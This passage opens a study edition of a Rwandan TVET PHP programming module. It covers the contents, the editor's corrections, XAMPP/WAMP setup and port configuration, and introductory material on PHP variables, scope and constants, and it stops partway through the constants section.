SWDPP401 · RQF LEVEL 4

PHP Programming

Trainee’s Study Edition

TVET Certificate IV in Software Development. The complete module content — reorganised for study, corrected, and with every code example written out in full instead of shown as a screenshot.

Based on the Rwanda TVET Board Trainee’s Manual, October 2024

PHP Fundamentals · Databases · CMS · Laravel

Contents

How to use this manual 6

Module overview 7

Module code and title 7
What you will need 7
Acronyms used in this module 7

LO1 · Apply PHP Fundamentals 9

Key competencies for this learning outcome 9
Objectives 9

1.1 Preparation of the PHP programming environment 10

Theoretical activity 1.1.1 — Description of PHP and related key terms 10
Key reading 1.1.1 — Description of PHP and related key terms 10
Practical activity 1.1.2 — Setting up the PHP environment 16
Key reading 1.1.2 — Setting up the PHP environment 16
Points to remember — Indicative content 1.1 20
Application of learning 1.1 21

1.2 Application of PHP concepts 22

Theoretical activity 1.2.1 — Description of PHP basic concepts 22
Key reading 1.2.1 — Description of PHP basic concepts 22
Practical activity 1.2.2 — Creating a simple PHP program 33
Key reading 1.2.2 — Creating a simple PHP program 33
Practical activity 1.2.3 — Applying PHP basic concepts 34
Key reading 1.2.3 — Applying PHP basic concepts 34
Practical activity 1.2.4 — Applying PHP functions 40
Key reading 1.2.4 — Applying PHP functions 41
Points to remember — Indicative content 1.2 46
Application of learning 1.2 47

1.3 Application of PHP security concepts 48

Theoretical activity 1.3.1 — Description of PHP security concepts 48
Key reading 1.3.1 — Description of PHP security concepts 48
Practical activity 1.3.2 — Applying PHP security for form handling 53
Key reading 1.3.2 — Applying PHP security for form handling 53
Points to remember — Indicative content 1.3 58
Application of learning 1.3 58

1.4 Implementation of object-oriented programming (OOP) in PHP 59

Theoretical activity 1.4.1 — Description of PHP object-oriented programming 59
Key reading 1.4.1 — Description of PHP object-oriented programming 59
Practical activity 1.4.2 — Applying OOP concepts 65
Key reading 1.4.2 — Applying OOP concepts 65
Points to remember — Indicative content 1.4 73

Application of learning 1.4 ... 73

LO2 · Connect PHP to the Database ... 74

Objectives ... 74

2.1 Application of database connection drivers ... 75

Theoretical activity 2.1.1 — Key terms related to PHP and database connection ... 75
Key reading 2.1.1 — Key terms related to PHP and database connection ... 75
Practical activity 2.1.2 — Connecting PHP and a database ... 78
Key reading 2.1.2 — Connecting PHP and a database ... 78
Points to remember — Indicative content 2.1 ... 83
Application of learning 2.1 ... 83

2.2 Perform database CRUD operations ... 84

Theoretical activity 2.2.1 — Description of CRUD operations ... 84
Key reading 2.2.1 — Description of CRUD operations ... 84
Practical activity 2.2.2 — Performing CRUD operations ... 89
Key reading 2.2.2 — Performing CRUD operations ... 89
Points to remember — Indicative content 2.2 ... 94
Application of learning 2.2 ... 95

2.3 Application of PHP basic security concepts ... 96

Theoretical activity 2.3.1 — Description of PHP basic security concepts ... 96
Key reading 2.3.1 — Description of PHP basic security concepts ... 96
Practical activity 2.3.2 — Implementing PHP security concepts ... 102
Key reading 2.3.2 — Implementing PHP security concepts ... 102
Points to remember — Indicative content 2.3 ... 102
Application of learning 2.3 ... 102

2.4 Errors and exceptions in PHP ... 104

Practical activity 2.4.1 — Handling PHP exceptions and errors ... 104
Key reading 2.4.1 — Handling PHP exceptions and errors ... 104
Points to remember — Indicative content 2.4 ... 108
Application of learning 2.4 ... 108

2.5 Implementation of user authentication ... 109

Theoretical activity 2.5.1 — Introduction to user authentication and authorisation ... 109
Key reading 2.5.1 — User authentication and authorisation ... 109
Practical activity 2.5.2 — Performing user authentication ... 110
Key reading 2.5.2 — A complete authentication system ... 110
Points to remember — Indicative content 2.5 ... 115
Application of learning 2.5 ... 115

LO3 · Build a Content Management System using PHP ... 116

Objectives ... 116

3.1 Description of a Content Management System ... 117

Key reading 3.1.1 — Description of a CMS ... 117
Practical activity 3.1.2 — Setting up a working CMS environment ... 118

Key reading 3.1.2 — Setting up the CMS ... 118
Points to remember — Indicative content 3.1 ... 121

3.2 Build dynamic content navigation ... 122
Key reading 3.2.1 — Building dynamic CMS navigation ... 122
Points to remember — Indicative content 3.2 ... 124

3.3 Management of cookies and sessions ... 125
Key reading 3.3.1 — Managing cookies and sessions in the CMS ... 125
Points to remember — Indicative content 3.3 ... 128

3.4 Application of context and options ... 129
Key reading 3.4.1 — Applying the CMS concepts of context and options ... 129
Points to remember — Indicative content 3.4 ... 131

3.5 Regulate page access ... 132
Key reading 3.5.1 — Regulating page access within a CMS ... 132
Points to remember — Indicative content 3.5 ... 135

3.6 CMS error detection ... 136
Key reading 3.6.1 — Detecting errors in a CMS ... 136
Points to remember — Indicative content 3.6 ... 137

3.7 Maintain the CMS ... 138
Key reading 3.7.1 — Maintaining a CMS ... 138
Points to remember — Indicative content 3.7 ... 138

LO4 · Build a Web App Using an MVC Framework (Laravel) ... 140
Objectives ... 140

4.1 Framework environment configuration ... 141
Key reading 4.1.1 — Introduction to PHP frameworks ... 141
Key reading 4.1.2 — Laravel MVC architecture ... 142
Practical activity 4.1.3 — Installing Laravel ... 143
Key reading 4.1.3 — Installing the Laravel framework ... 143
Practical activity 4.1.4 — Configuring the .env file ... 145
Key reading 4.1.4 — Configuring the Laravel .env file ... 145
Practical activity 4.1.5 — Using Blade templates ... 146
Key reading 4.1.5 — Laravel Blade templating ... 146

4.2 Setup Laravel custom routing ... 148
Key reading 4.2.1 — Description of Laravel custom routing ... 148

4.3 Perform form data validation ... 151
Key reading 4.3.1 — Data validation in Laravel ... 151

4.4 Perform CRUD operations in Laravel ... 155
Key reading 4.4.1 — CRUD operations in Laravel ... 155

4.5 Manage APIs in Laravel **160**
Key reading 4.5.1 — Introduction to API development 160
Key reading 4.5.2 — Using and managing APIs in Laravel 160

4.6 Authentication and security **164**
Key reading 4.6.1 — API authentication and security 164

4.7 API versioning and documentation **166**
Key reading 4.7.1 — API versioning and documentation 166
Points to remember — Learning outcome 4 167

Appendix A · PHP quick reference **169**

Appendix B · End assessments **171**
Learning outcome 1 — End assessment 171
Learning outcome 2 — End assessment 172
Learning outcome 3 — End assessment 173
Learning outcome 4 — End assessment 173

Appendix C · Glossary **175**

Appendix D · References **176**

How to use this manual

This is a **study edition** of the SWDPP401 trainee's manual. Nothing that helps you learn has been removed. What has changed is the completeness, the accuracy and the arrangement.

The main problem with the original is that you cannot type any of it. Almost every code example in the 350-page manual is a screenshot. The text says *"Example:"* and then shows nothing. Whole procedures — creating a database connection, performing CRUD operations, validating a form, defining a class, building the CMS login — consist of headings with no code beneath them. A student reading the PDF has no way to follow along. **Every one of those examples has been written out here as real, working, copyable code.**

What was merged. The original repeats itself. The definition of a database and a DBMS appears in Learning Outcome 1 and again in Learning Outcome 2. Sessions and cookies are explained in 1.3, again in 3.3, and again in 3.5. The OOP concepts list appears twice inside Learning Outcome 1.4, once in the theory and once in the practical. The "Points to Remember" for 1.4 repeats its own first bullet word for word. The instruction *"Provide the answer for the asked questions and write them on papers. Present the findings to the whole class"* appears before every activity. Each of these now appears once. The copyright, acknowledgement and coordination team pages are collected in a colophon at the end.

What was corrected. The manual states that the array union `[1,2,3] + [3,4,5]` produces `[1,2,3,4,5]`. It does not — it produces `[1,2,3]`, because `+` keeps the left-hand value for any key that exists in both arrays. The manual writes PHP's opening tag as `<?PHP` in capitals throughout; the correct convention is `<?php`. It lists the file-opening function as `open()`; the function is `fopen()`. It describes `$dbhost` as "the host where your RAID server is running", which is meaningless — it is the database server host. It writes MySQLi functions as `MySQLi_connect()`; the actual names are lowercase, `mysqli_connect()`. It sends you to `localhost/PHPMyAdmin`, which fails on Linux and macOS where URLs are case-sensitive — the correct address is `localhost/phpmyadmin`. Several lettered lists skip or repeat letters, and Indicative Content 4.6 is titled "Authentication and Securit". All of these are fixed.

What was added. Composer and dependency management, namespaces and autoloading, prepared statements written out in full for both MySQLi and PDO, `password_hash()` and `password_verify()` with working code, `htmlspecialchars()` used properly against XSS, CSRF token generation and checking, the PHP built-in development server, a reference table of the string, array and date functions you actually use, PHP 8 features such as `match` and the null-safe operator, and complete working files for the CMS and the Laravel CRUD application.

How to study with it. Install XAMPP first, then type every example. Do not copy and paste — typing is how the syntax becomes automatic. When something does not work, read the error message before doing anything else; PHP's error messages tell you the file and the line number, and learning to read them is half of learning to program.

Module overview

Module code and title

SWDPP401 — PHP Programming. This module belongs to the TVET Certificate IV in Software Development. It follows the Competency-Based Training and Assessment (CBT/A) approach, which means the assessment tests what you can build, not only what you can recall.

Learning outcome	Indicative contents	Hours
LO1 — Apply PHP fundamentals	1.1 PHP environment · 1.2 PHP concepts · 1.3 PHP security concepts · 1.4 Object-oriented programming	40
LO2 — Connect PHP to the database	2.1 Connection drivers · 2.2 CRUD operations · 2.3 Basic security · 2.4 Errors and exceptions · 2.5 User authentication	37
LO3 — Build a CMS using PHP	3.1 CMS description · 3.2 Dynamic navigation · 3.3 Cookies and sessions · 3.4 Context and options · 3.5 Page access · 3.6 Error detection · 3.7 Maintenance	25
LO4 — Build a web app using Laravel	4.1 Environment · 4.2 Routing · 4.3 Validation · 4.4 CRUD · 4.5 APIs · 4.6 Authentication and security · 4.7 Versioning and documentation	45

What you will need

Equipment	Tools	Materials
Computer (4 GB RAM minimum, 8 GB recommended)	XAMPP / WAMP / LAMP	Internet connection
	Text editor or IDE (VS Code recommended)	Electricity
	Web browser	
	Composer (for Learning Outcome 4)	

Acronyms used in this module

ACL Access Control List · **API** Application Programming Interface · **CDN** Content Delivery Network · **CLI** Command Line Interface · **CMS** Content Management System · **CORS** Cross-Origin Resource Sharing · **CRUD** Create, Read, Update, Delete · **CSRF** Cross-Site Request Forgery · **DBMS** Database Management System · **DNS** Domain Name System · **HTTP/HTTPS** Hypertext Transfer Protocol (Secure) · **IDE** Integrated Development Environment · **IDOR** Insecure Direct Object Reference · **JSON** JavaScript Object Notation · **JWT** JSON Web Token · **MVC** Model-View-Controller · **ORM** Object-Relational Mapping · **PDO** PHP Data Objects · **PHP** Hypertext Preprocessor · **RDBMS** Relational Database Management System · **SQL** Structured Query Language · **URL** Uniform Resource Locator · **XSS** Cross-Site Scripting

LO1 · Apply PHP Fundamentals

Duration: 40 hours

Key competencies for this learning outcome

Knowledge	Skills	Attitudes
Description of the PHP programming environment	Installing XAMPP/WAMP	Having teamwork spirit
Description of PHP concepts	Configuring the environment	Having time management ability
Description of OOP	Applying PHP concepts	Having curiosity
Description of functions	Implementing loops, arrays and control structures	Being creative
Description of loops, arrays and control structures	Using PHP functions	Being adaptive
Description of PHP security concepts	Implementing OOP in PHP	

Objectives

By the end of this learning outcome you will be able to:

1. Describe correctly PHP concepts based on PHP standards.
2. Prepare properly the PHP environment based on system requirements.
3. Install properly XAMPP or WAMP based on platform requirements.
4. Apply effectively PHP concepts based on best practices.
5. Apply conditional statements as used in PHP programming.
6. Apply effectively PHP security concepts based on project requirements.
7. Apply correctly the different types of arrays.
8. Apply effectively control structures.
9. Implement effectively PHP functions.
10. Implement correctly OOP concepts based on PHP standards.

1.1 Preparation of the PHP programming environment

Duration: 7 hours

Theoretical activity 1.1.1 — Description of PHP and related key terms

Answer these questions in your own words before reading on:

1. Define: PHP, interpreter, open source, web server, database, DBMS, MySQL, Apache.
2. Differentiate a static website from a dynamic website.
3. What are the purposes of PHP?
4. List five characteristics of PHP.
5. What are the notable tools used in PHP programming?

Key reading 1.1.1 — Description of PHP and related key terms

1. Definition of key terms

a) PHP

PHP stands for **Hypertext Preprocessor**. It is a widely used, open-source scripting language well suited to web application development. PHP is a **server-side** scripting language, which means it runs on the web server and generates dynamic web pages. It is often embedded within HTML code to add functionality and interactivity to websites.

PHP was created by **Rasmus Lerdorf in 1994** and originally stood for “Personal Home Page”. As the language grew far beyond that original purpose, the name was redefined as the recursive acronym it carries today.

b) Interpreter

An **interpreter** is a program that directly executes instructions written in a programming or scripting language, without first compiling them into a machine-language program. It translates high-level instructions into an intermediate form which it then executes. PHP is an interpreted language: there is no compilation step, which is why you can edit a `.php` file and simply refresh the browser to see the change.

c) Open source

Open source refers to software whose source code is made available to the public to view, use, modify and distribute. Open-source software is typically developed collaboratively and in public, and can be freely used and shared. PHP itself, Apache, MySQL and Linux are all open source, which is why the whole stack can be installed at no cost.

d) Web browser

A **web browser** is a software application used to access, retrieve and view content on the World Wide Web. It allows users to navigate web pages, interact with web applications and view multimedia content by interpreting and rendering HTML, CSS, JavaScript and other web technologies. The most notable browsers are Google Chrome, Mozilla Firefox, Microsoft Edge and Safari.

e) Web server

A **web server** is a software or hardware system that serves web pages to users in response to their requests, which are usually made through a browser. Its primary function is to store, process and deliver web pages to clients.

f) Database

A **database** is an organised collection of data, generally stored and accessed electronically from a computer system. Databases are managed using a Database Management System, which allows data to be stored, modified and retrieved efficiently.

g) DBMS

A **DBMS (Database Management System)** is software that provides an interface for interacting with databases. It allows users to create, read, update and delete data in a structured and efficient manner. Examples include MySQL, PostgreSQL and Oracle Database.

h) MySQL

MySQL is an open-source relational database management system (RDBMS) based on Structured Query Language (SQL). It is used to manage and organise data in a database. MySQL is widely used in web applications and is known for its reliability and ease of use.

i) Apache

The **Apache HTTP Server**, commonly called Apache, is open-source web server software widely used to serve web content. It is known for its flexibility, robustness and ability to handle a large number of concurrent connections. Apache is a project of the Apache Software Foundation.

2. Static websites compared with dynamic websites

2.1 Static website. A static website is a collection of fixed web pages coded in HTML and possibly styled with CSS. Each page is a separate file, and the content of a page does not change unless it is manually edited.

Characteristics:

- **Fixed content.** The content does not change in response to user interaction or any other external factor.
- **No server-side processing.** Pages are served directly to the browser without any processing on the server. There are no server-side scripts and no database.
- **Easy to develop.** Static sites are simpler and quicker to build, needing only HTML, CSS and possibly JavaScript.

- **Fast loading.** Because there is no server-side processing, static pages generally load faster.
- **Limited functionality.** Static websites cannot provide interactive features such as user logins, form processing, personalised content or real-time updates.
- **Maintenance.** Updating a static website is tedious because every page must be edited individually.

Examples: personal blogs, brochure websites, portfolio sites, and small business sites with limited content.

2.2 Dynamic website. A dynamic website generates its pages in real time, based on user interaction or other factors. The content is often stored in a database and pulled into the pages by a server-side scripting language such as PHP, Python, Ruby or JavaScript (Node.js).

Characteristics:

- **Dynamic content.** With PHP, content is generated according to user interaction, preferences or other data. The same URL can produce different content for different users.
- **Server-side processing.** Generating a page requires running scripts on the server, querying databases and assembling the content before sending it to the client.
- **Complex development.** Building dynamic sites requires knowledge of server-side languages, databases and client–server architecture.
- **Interactive features.** Dynamic sites can offer user authentication, content management, e-commerce, forums and real-time updates.
- **Scalability and maintenance.** Easier to update, because a change made in a central database or through a CMS affects many pages at once.
- **Performance considerations.** Dynamic sites may load more slowly because of the server-side processing, though caching mitigates this.

Examples: social media platforms, e-commerce sites, content management systems, web applications and news websites.

Summary of differences

Feature	Static website	Dynamic website
Content	Fixed, unchanging unless manually edited	Generated according to interaction
Server-side processing	None	Required
Complexity	Simple, easy to develop	Complex, requires server-side scripting
Interactivity	Limited	High
Maintenance	Manual updates for each page	Easier, centralised through a database or CMS
Performance	Generally faster, no processing	Potentially slower, mitigated by caching
Use cases	Blogs, brochures, portfolios	Social media, e-commerce, CMS, web apps

3. The purpose of PHP

PHP serves as a versatile and powerful server-side scripting language, used primarily for web development. Its key purposes are:

a) Web development. PHP is designed for creating dynamic and interactive web applications. It allows developers to embed PHP code within HTML, generating content that responds to user input, database queries and other factors. It is used to build websites, web applications, content management systems and e-commerce platforms.

b) Server-side scripting. PHP is executed on the web server, not in the user's browser. The code runs on the server to process requests and generate the HTML or other output sent back to the client. This enables form handling, data validation and database interaction.

c) Database connectivity. PHP has robust support for connecting to and interacting with databases, commonly MySQL and PostgreSQL. It can retrieve data, insert, update and delete records, and generate content from what it finds.

d) User authentication and security. PHP provides tools for implementing authentication and securing applications. Developers can create login systems, manage sessions, and implement measures against common vulnerabilities such as SQL injection and cross-site scripting.

e) Creating custom web applications. PHP is used to build applications tailored to specific business needs — an online booking system, a social platform, an e-commerce store or a content management system.

f) Integration with web technologies. PHP integrates with HTML, CSS, JavaScript, XML and more. It is frequently used alongside frameworks, content management systems and web services.

g) Open source and community-driven. PHP is open source: it is freely available and its source can be modified and redistributed. Its community actively contributes updates, extensions and libraries.

h) Cross-platform compatibility. PHP runs on Windows, Linux and macOS, and with Apache, Nginx and IIS. This means a PHP application can run in a wide range of server environments.

4. Important characteristics of PHP

a) Ease of learning. PHP has a relatively simple and intuitive syntax, accessible to beginners and experienced developers alike, with a low learning curve.

b) Server-side scripting. PHP runs on the web server, enabling server-side data processing, database interaction and dynamic content generation.

c) Cross-platform compatibility. PHP works with various operating systems and web servers, making it versatile across platforms.

d) Open source. Freely available for anyone to use, modify and distribute, which has produced a vibrant community and continuous improvement.

e) Database connectivity. Robust support for MySQL, PostgreSQL, SQLite and many others.

f) Web frameworks and libraries. A rich ecosystem — Laravel, Symfony and CodeIgniter provide structured architectures and tools for building scalable applications.

g) Integration capabilities. PHP integrates seamlessly with HTML, CSS, JavaScript, XML and web services.

h) Dynamic web content. PHP excels at generating content that varies with user input, session data or database queries.

i) Community and resources. A large, active community means abundant documentation, forums and tutorials.

j) Security features. PHP provides functions to help protect applications against SQL injection, XSS and CSRF.

k) Scalability. With proper architecture and optimisation, PHP applications perform well under heavy load.

l) Extensibility. PHP can be extended with custom modules written in C or other languages.

m) Active development. PHP is actively developed, with regular releases adding features and improving performance. PHP 8 in particular brought a large speed improvement through its just-in-time compiler.

5. Notable PHP development tools

a) XAMPP is a free, open-source, cross-platform web server solution stack developed by Apache Friends. It provides a local environment including **A**pache, **M**ySQL (MariaDB), **P**HP and **P**erl. The **X** stands for cross-platform. This makes XAMPP ideal for setting up a local development environment on Windows, macOS or Linux.

b) WAMP (Windows, Apache, MySQL, PHP) is a software stack for Windows providing a local server environment.

c) MAMP (macOS, Apache, MySQL, PHP) is the equivalent stack for macOS.

d) LAMP (Linux, Apache, MySQL, PHP) is the equivalent stack for Linux, and is also the most common production server configuration in the world.

6. IDEs and text editors

6.1 IDE (Integrated Development Environment)

An IDE is a comprehensive software suite that provides a wide range of tools covering the whole development process, from writing code to debugging and deployment. Examples: **PHPStorm, NetBeans, Eclipse PDT**.

Characteristics of IDEs:

- **Advanced code editing** — syntax highlighting makes PHP easier to read and write; code completion suggests functions, variables and syntax as you type.
- **Project management** — helps organise and navigate files and folders, and integrates with version control systems such as Git.
- **Debugging tools** — breakpoints pause execution so you can inspect variables, and step execution lets you move through code line by line.
- **Built-in server** — some IDEs include a local server so PHP can be tested without extra configuration.
- **Error checking** — real-time detection and highlighting of errors and warnings as you write.
- **Deployment tools** — FTP/SFTP integration allows code to be deployed straight to a remote server.

6.2 Text editors

A text editor is a simpler tool designed primarily for editing plain text files. It provides basic functions for writing and editing code but lacks the comprehensive features of an IDE. Examples: **Sublime Text, Notepad++, Notepad, Atom, Visual Studio Code**.

Characteristics of text editors:

- **Basic code editing** — syntax highlighting, though often less advanced; limited or no code completion.
- **Lightweight** — generally faster and less demanding of system resources than an IDE.
- **Customisation** — extensible through plugins that add linting, version control integration and more.
- **Simplicity** — a simpler interface and an easier learning curve.
- **Lack of advanced tools** — no built-in debugger with breakpoints and step execution, and no integrated server environment.

Summary of differences

Feature	IDE	Text editor
Code editing	Advanced: syntax highlighting and code completion	Basic: syntax highlighting
Project management	Integrated project and file organisation	Basic file editing and navigation
Debugging tools	Built-in debugger, breakpoints, step execution	Limited or none
Local server	Often includes one	Requires an external setup
Error checking	Real-time detection	Limited or none
Deployment tools	Integrated FTP/SFTP	Requires external tools
Performance	More resource-intensive, slower	Lightweight, faster
Customisation	Limited to provided features	Highly customisable with plugins
Ease of use	Higher learning curve, feature-rich	Easier to learn, simpler interface
Examples	PHPStorm, NetBeans, Eclipse PDT	Sublime Text, Visual Studio Code, Atom

An IDE is a more powerful, feature-rich tool for comprehensive workflows. A text editor is a simpler, lightweight tool focused on editing, with fewer integrated features but often greater customisation through plugins. For PHP programming the choice depends on the complexity of the project and your preference for features over simplicity.

> **For this module, use Visual Studio Code.** It is free, it runs well on modest hardware, and with the *PHP Intelephense* and *PHP Debug* extensions installed it provides most of what an IDE gives you. PHPStorm is excellent but commercial.

Practical activity 1.1.2 — Setting up the PHP environment

Go to the computer laboratory and install and configure a PHP environment on your computer, individually.

Key reading 1.1.2 — Setting up the PHP environment

Setting up a PHP environment means preparing the software and configuration needed to develop, test and run PHP applications. You need to install and configure several components: a **web server**, the **PHP interpreter**, a **database**, **development tools**, the **configuration** that ties them together, and normally a **local environment package** (XAMPP, WAMP, LAMP) that bundles the first three.

System requirements

Requirement	Minimum values
Operating system	Windows 10 or later; macOS Mojave (10.14) or later; any modern Linux distribution (Ubuntu, CentOS, Fedora), kept updated
Web server	Apache 2.4 or later; Nginx 1.18 or later. For development you can also use PHP's built-in server
PHP version	PHP 7.4 is a common minimum, but **PHP 8.x is recommended** for its features and much better performance. Make sure your version is compatible with your web server and any frameworks you use
Database	MySQL 5.7 or later, or MariaDB 10.2 or later. PostgreSQL or SQLite are also supported
Memory and storage	At least 1 GB of RAM for development; more for production depending on load. At least 5 GB of free disk space
Development tools	A code editor or IDE such as Visual Studio Code, PHPStorm or Sublime Text. **Composer**, the PHP dependency manager, which you will need for Learning Outcome 4

1. Installing XAMPP (Windows, Linux and macOS)

Step 1 — Download XAMPP. Visit the official website at **apachefriends.org** and download the installer for your operating system.

Step 2 — Run the installer.

- **Windows:** double-click the downloaded `.exe` file and follow the installation wizard.
- **Linux:** open a terminal, navigate to the directory containing the downloaded installer, and run it:

```
chmod +x xampp-linux-x64-8.2.12-0-installer.run
sudo ./xampp-linux-x64-8.2.12-0-installer.run
```

- **macOS:** double-click the downloaded `.dmg` file and drag the XAMPP folder into Applications.

During the wizard you will be asked to select components (leave the defaults — Apache, MySQL, PHP and phpMyAdmin are what you need), choose an installation location (the default `C:\xampp` on Windows is best; changing it complicates every path in this manual), and confirm. Click Next through each screen and Finish at the end.

Step 3 — Start XAMPP.

- **Windows:** launch the XAMPP Control Panel from the Start menu and click **Start** next to Apache and next to MySQL.
- **Linux:**

```
sudo /opt/lampp/lampp start
sudo /opt/lampp/lampp status     # check what is running
sudo /opt/lampp/lampp stop       # stop everything
```

- **macOS:** open the XAMPP Control Panel from Applications and start Apache and MySQL.

Step 4 — Test XAMPP. Open your browser and enter `http://localhost` or `http://127.0.0.1`. You should see the XAMPP welcome page. Then check both key services:

URL	What it tests
`http://localhost`	The Apache web server is running and serving pages
`http://localhost/phpmyadmin`	The MySQL database service is running and reachable

> The original manual writes this address as `http://127.0.0.1/PHPmyadmin` with capital letters. On Windows this happens to work, but **on Linux and macOS URLs are case-sensitive and it will fail**. Always type it in lowercase: `phpmyadmin`.

2. Installing WAMP (Windows only)

Step 1 — Download WAMP. Visit **wampserver.com** and download the installer matching your Windows version, 32-bit or 64-bit.

Step 2 — Run the installer. Double-click the `.exe` file and follow the wizard: choose your language, accept the licence agreement, select the installation location, and click Install. The installer extracts and installs the files it needs.

Step 3 — Configure PHP and MySQL. During installation you may be prompted to choose PHP and MySQL versions. Select the recommended versions unless you have a specific reason not to.

Step 4 — Start WAMP. Launch WampServer from the Start menu. The WAMP icon in the system tray shows the status: **green** means all services are running, **orange** means some are running, **red** means none are.

3. Configuring the environment

3.1 Ports configuration

By default Apache uses **port 80** for HTTP and **port 443** for HTTPS. If those ports are already in use — Skype, IIS and some antivirus programs are common culprits — or you want different ones, change them in Apache's configuration file.

1. Locate `httpd.conf` in your Apache installation directory, usually `C:\xampp\apache\conf\httpd.conf`.
2. Search for `Listen 80` and for `ServerName localhost:80`.
3. Change the port numbers, for example to 8080:

```
Listen 8080
ServerName localhost:8080
```

1. Save the file and restart Apache from the Control Panel.

After changing the port you must include it in every URL: `http://localhost:8080` instead of `http://localhost`.

3.2 Handling MySQL port errors in XAMPP

MySQL uses **port 3306** by default, and it is the most common source of conflicts.

1. **Detect the conflict.** Launch the XAMPP Control Panel and see whether MySQL fails to start, reporting a port conflict.
2. **Modify the MySQL port.** Navigate to `xampp\mysql\bin`, open `my.ini` in a text editor, find the line `port=3306` and change it, for example to `port=3307`. There are usually two such lines — change both.
3. **Adjust phpMyAdmin's settings.** Open `xampp\phpMyAdmin\config.inc.php`, find `$cfg['Servers'][$i]['port']` and set it to the new port:

```
$cfg['Servers'][$i]['port'] = '3307';
```

1. **Restart XAMPP.** Restart the MySQL service from the Control Panel.

If the problem persists, stop the process currently using the port instead. Open Task Manager with `Ctrl+Shift+Esc`, look for `mysqld.exe` — most often it is a previously installed MySQL service still running — and end that task. On Windows you can also identify the culprit from the command line:

```
netstat -ano | findstr :3306
```

The last column is the process ID, which you can then find in Task Manager's Details tab.

3.3 Browser configuration. You can use any modern browser for testing PHP applications — Chrome, Firefox, Edge or Safari. Keep it up to date, and learn to open the developer tools with `F12`, since that is where you will see network requests and JavaScript errors.

3.4 Services configuration. Start and stop Apache and MySQL through the control panel provided by XAMPP or WAMP. You can start, stop and restart each service independently from its interface.

3.5 IDEs and extensions. Configure your IDE according to your preferences. For Visual Studio Code, install these extensions:

Extension	What it gives you
PHP Intelephense	Code completion, go-to-definition, error detection
PHP Debug	Step debugging with Xdebug
PHP Namespace Resolver	Automatic `use` statements
Prettier or **PHP CS Fixer**	Consistent code formatting

4. Using PHP's built-in server

This is not in the original manual, but it is the fastest way to run a PHP file without XAMPP. From PHP 5.4 onwards, PHP includes its own development web server:

```
cd C:\my-project
php -S localhost:8000
```

Then open `http://localhost:8000` in your browser. It serves the current directory, requires no configuration, and is ideal for small experiments. It has no database, so you still need MySQL for anything in Learning Outcome 2 onwards, and it must never be used in production.

5. Verifying the installation

Create a file called `info.php` in `C:\xampp\htdocs` containing exactly this:

```
<?php
phpinfo();
```

Open `http://localhost/info.php`. You should see a long page listing your PHP version, the loaded extensions, and the location of your `php.ini` file. This one function answers most "is it installed?" questions.

> Delete `info.php` when you have finished, and never place it on a public server. It reveals your exact PHP version, file paths and loaded extensions — precisely the information an attacker wants first.

Points to remember — Indicative content 1.1

Description of PHP and related key terms

- To be comfortable with PHP you must know the key terms: web browser, web server, DBMS, interpreter, and so on.
- PHP is **server-side** scripting: it runs on the web server and generates dynamic pages. It is often embedded within HTML to add functionality and interactivity.
- The primary purpose of PHP is to enable the development of dynamic web applications, providing a powerful server-side language with database connectivity, security features and flexibility.

- PHP’s important characteristics include ease of learning, server-side scripting, cross-platform compatibility, its open-source nature, strong database support, a rich ecosystem of frameworks and libraries, and its ability to generate dynamic content.
- There are open-source platforms that provide a complete development environment: **XAMPP, WAMP, MAMP and LAMP**.

Setting up the PHP environment

- The steps are: install the development platform (XAMPP, WAMP or another), configure ports and services, and install your IDE and its extensions.
- **Modifying the port configuration is the most common cause of a broken environment.** If Apache or MySQL will not start, a port conflict is the first thing to check.
- Your project files must live inside `htdocs` (XAMPP) or `www` (WAMP), or the server cannot see them.

Application of learning 1.1

MilleHills Ltd is a company providing web development services, located in Rubavu District, Gisenyi town. They have started a new project aimed at expanding their business by offering web awareness training to the public. They plan to accommodate a large number of people, which means more computers must be made ready for use. MilleHills has only a few computers ready; the rest need to be prepared.

As a trainee who understands what it takes to work in a PHP development environment, you are hired at MilleHills to set up and configure the PHP environment on the rest of their computers.

1.2 Application of PHP concepts

Duration: 20 hours

Theoretical activity 1.2.1 — Description of PHP basic concepts

Answer these before reading on:

1. What do you understand by: variable, operators, data types, variable scope, constants, comment, string concatenation, conditional statement, loop?
2. Differentiate the types of PHP array.
3. Differentiate the types of PHP function.
4. What do you understand by PHP file handling?
5. Explain the different categories of superglobal variable found in PHP.

Key reading 1.2.1 — Description of PHP basic concepts

a) PHP files

A **PHP file** is a plain text file containing code written in PHP. These files are processed on the server before the result is sent to the client's browser.

The PHP file extensions are:

Extension	Status
`.php`	The standard and by far the most widely used extension. **Use this one.**
`.php3`	Used in the days of PHP 3; obsolete
`.php4`	Associated with PHP 4; obsolete
`.phtml`	Sometimes used to emphasise that the file mixes PHP with HTML
`.php5`, `.php7`	Occasionally used to indicate a PHP version; not recommended

In modern PHP development, `.php` is the preferred and standard extension.

b) PHP variables

A **variable** is a symbolic name that holds data whose value can change during the execution of a script. Variables store information such as numbers, strings, arrays and objects.

1. Declaration. Variables are declared using a dollar sign `$` followed by the variable name:

```php
<?php
$name = "Alice";
$age = 25;
$price = 19.99;
$isStudent = true;
```

2. Dynamic typing. PHP is a loosely typed language: you do not declare the data type of a variable. The type is determined automatically from the value assigned:

```php
<?php
$value = 42;          // integer
$value = "forty-two"; // now a string — perfectly legal in PHP
$value = 42.5;        // now a float

echo gettype($value); // prints: double
```

3. Variable naming rules.

- Must start with a dollar sign `$`, followed by a letter or an underscore.
- Cannot start with a number.
- Can contain letters, numbers and underscores.
- Variable names are **case-sensitive**: `$Var` and `$var` are two different variables.

```php
<?php
$firstName  = "valid";     // valid
$_count     = "valid";     // valid
$user2      = "valid";     // valid
// $2user   = "invalid";   // ERROR — cannot start with a number
// $first-name = "bad";    // ERROR — hyphens are not allowed
```

4. Scope. Variables can have different scopes:

- **Global** — declared outside any function. Note that in PHP, a global variable is *not* automatically visible inside a function; you must use the `global` keyword or `$GLOBALS`.
- **Local** — accessible only within the function or block where declared.
- **Static** — retains its value between function calls. Initialised only once and persisting for the lifetime of the script.
- **Superglobals** — predefined variables such as `$_POST`, `$_GET` and `$_SESSION`, available everywhere.

```php
<?php
$message = "I am global";

function showScope() {
    // echo $message;      // ERROR — not visible here
    global $message;       // now it is
    echo $message;

    $local = "I am local"; // exists only inside this function
}

function counter() {
    static $count = 0;     // initialised once, remembered between calls
    $count++;
    echo $count . " ";
}

counter(); // 1
counter(); // 2
counter(); // 3
```

c) PHP constants

A **constant** is a name for a simple value that **cannot be changed** during the execution of a script. Constants are useful for values that should stay the same throughout the life of an application — configuration settings, fixed numbers, fixed strings.

Key characteristics:

1. **Immutability.** Once defined, a constant's value cannot be changed or redefined.
2. **Global scope.** Constants are automatically global and can be accessed from any part of the script, including inside functions, regardless of where they were defined.
